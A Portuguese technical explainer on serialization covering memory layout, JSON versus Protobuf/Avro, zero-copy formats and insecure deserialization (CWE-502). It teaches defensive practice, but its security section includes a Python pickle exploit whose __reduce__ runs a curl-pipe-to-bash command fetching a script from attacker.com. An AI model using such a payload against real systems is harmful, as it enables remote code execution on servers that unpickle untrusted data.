O que é Serialization?

O que é Serialização e por que é obrigatória? Modelo de Memória

Nos sistemas operacionais modernos, cada processo é executado em seu próprio espaço de endereço virtual isolado. Um objeto em tempo de execução; Ele contém variáveis ​​locais na pilha, blocos de memória alocados dinamicamente no heap, ponteiros de função (vtable) e endereços de referência (0x7ffee4b2...).

Essa estrutura de memória não pode ser copiada diretamente para outro ambiente por dois motivos fundamentais:

1. Isolamento de espaço de endereço: os ponteiros de memória são significativos apenas na tabela de endereços virtuais do processo em execução no momento. Quando você envia um ponteiro de memória para outro processo no mesmo servidor ou para um cliente na rede, ocorre um acesso inválido à memória (falha de segmentação) ou corrupção de memória no sistema de destino.
2. Diferenças de arquitetura e endianness: Diferentes arquiteturas de processador (por exemplo, Little-Endian x86-64 vs. hardware de rede Big-Endian) mantêm inteiros multibyte e números de ponto flutuante na memória em diferentes ordenações de bytes. Além disso, as larguras dos ponteiros e os alinhamentos de dados (alinhamento/preenchimento) são diferentes em sistemas de 32 e 64 bits.

O mecanismo de serialização percorre o grafo de objetos na memória (incluindo referências cíclicas) em profundidade ou largura (graph traversal), converte ponteiros locais em relações lógicas e coloca os dados em uma sequência de bytes canônica independente da plataforma.

Formatos de Serialização: Baseado em Texto vs. Binário

Escolher o formato de serialização correto na arquitetura de software exige um equilíbrio entre legibilidade humana, custo de processamento (parsing) de CPU, largura de banda de rede e segurança de tipos.

1. Formatos Baseados em Texto (JSON, YAML, XML)

• JSON (JavaScript Object Notation): O padrão de fato da web moderna e APIs RESTful. É independente de linguagem, tem suporte nativo em navegadores e é facilmente lido e depurável pelos desenvolvedores.
• Pontos fracos: a análise baseada em texto (lexing, tokenização, conversões de string para número) consome muito CPU. A repetição de nomes de chaves (chaves de campo) em cada registro cria uma sobrecarga desnecessária de carga útil. Além disso, transportar dados binários (por exemplo, uma imagem ou chave criptografada) requer codificação Base64; Isso aumenta o tamanho dos dados em aproximadamente 33%.

2. Formatos Binários e com Esquema (Protobuf, Avro, MessagePack)

• Buffers de protocolo (Protobuf): É um formato binário desenvolvido pelo Google que forma a espinha dorsal da comunicação gRPC e de microsserviços. Ele define tipos de campos e números de campos (tags de campo) com um arquivo de esquema sólido (.proto). Em vez de chaves de texto, rótulos numéricos e codificação inteira de comprimento variável (Varint) são enviados pela rede. Ele consome de 3 a 10 vezes menos largura de banda que JSON e analisa muito mais rápido.
• Apache Avro: Comum no ecossistema de big data (Hadoop, Kafka). O esquema é mantido em um registro central (Registro de Esquema) em vez de ser incorporado em cada mensagem. Desta forma, a carga adicional por mensagem é minimizada.
• MessagePack e BSON: armazena dados em um formato binário compactado, preservando o modelo de valor-chave flexível e sem esquema do JSON.

Arquitetura de Desserialização Zero-Copy

Em bibliotecas de serialização clássicas (analisadores JSON ou Protobuf padrão), o processo de desserialização é executado com as seguintes etapas:

1. O fluxo de bytes proveniente do socket de rede é gravado em um buffer temporário.
2. O analisador verifica os tipos examinando os bytes.
3. Nova memória é alocada para cada objeto, string e array na área de memória heap (malloc ou gerenciador de memória da linguagem).
4. Os valores são copiados do buffer para os objetos de heap recém-criados.

Em sistemas que processam centenas de milhares de solicitações por segundo, essas alocações de heap e operações de cópia levam a um alto consumo de CPU e pausas do coletor de lixo (Garbage Collector).

Abordagem Zero-Copy (FlatBuffers, Cap'n Proto): Nessas bibliotecas, ao serializar dados, eles são colocados no buffer binário de acordo com o alinhamento de memória da estrutura de dados e deslocamentos relativos (relative offsets).

Nenhuma alocação de memória ou cópia de dados ocorre durante a fase de desserialização. O aplicativo mapeia (mmap) o buffer de bytes de entrada diretamente na memória e acessa campos de objetos diretamente por meio de aritmética de ponteiro. O tempo de desserialização é, na verdade, 0 milissegundos. Esta arquitetura; É padrão em negociação de alta frequência (HFT), computação de ponta (Edge AI) e motores de jogos AAA.

Dimensão de segurança: desserialização insegura (CWE-502)

Vulnerabilidades de segurança catastróficas surgem quando a serialização tenta serializar classes de objetos e comportamentos de tempo de execução, em vez de apenas mover dados puros. A desserialização insegura (serialização reversa insegura), que está na lista dos 10 principais do OWASP, permite que um invasor execute código arbitrário (execução remota de código - RCE) no sistema.

Exemplo de picles Python

O módulo de serialização integrado do Python, pickle, serializa o método __reduce__ de objetos. Este método define uma função e seus parâmetros a serem chamados durante a desserialização do objeto. Ao abusar deste mecanismo, um invasor pode gerar uma sequência de bytes maliciosa que executa um comando do sistema operacional:

# Saldırgan tarafından hazırlanan zararlı serileştirme paketi
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl -s https://attacker.com/steal.sh | bash',))

Assim que esse fluxo de bytes é enviado ao servidor e pickle.loads(payload) é executado, um comando shell não autorizado é executado no servidor. Portanto, quaisquer dados de fontes não confiáveis ​​não devem ser analisados ​​com pickle.

Java e cadeias de gadgets

No mecanismo de serialização nativo do Java (ObjectInputStream.readObject()), o carregador de classes carrega a classe do objeto recebido na memória. Atacante; Ele pode construir uma cadeia de execução que executa comandos na memória conectando métodos de classes em bibliotecas instaladas no sistema (por exemplo, Apache Commons Collections ou Spring Framework) (cadeia de gadgets).

Princípios de serialização segura

• Nunca use formatos integrados à linguagem contendo código executável ou definições de classe (Python pickle, serialização nativa de Java, desserialização de PHP) nos limites da rede.
• Escolha formatos que transportam apenas dados puros e validem a estrutura de dados em relação ao esquema (JSON + Pydantic/Zod ou Protobuf).
• Implemente autenticação e controle de integridade de mensagens (HMAC ou TLS) em trocas de dados binários.

Perguntas e respostas

Termos relacionados

Ferramentas relacionadas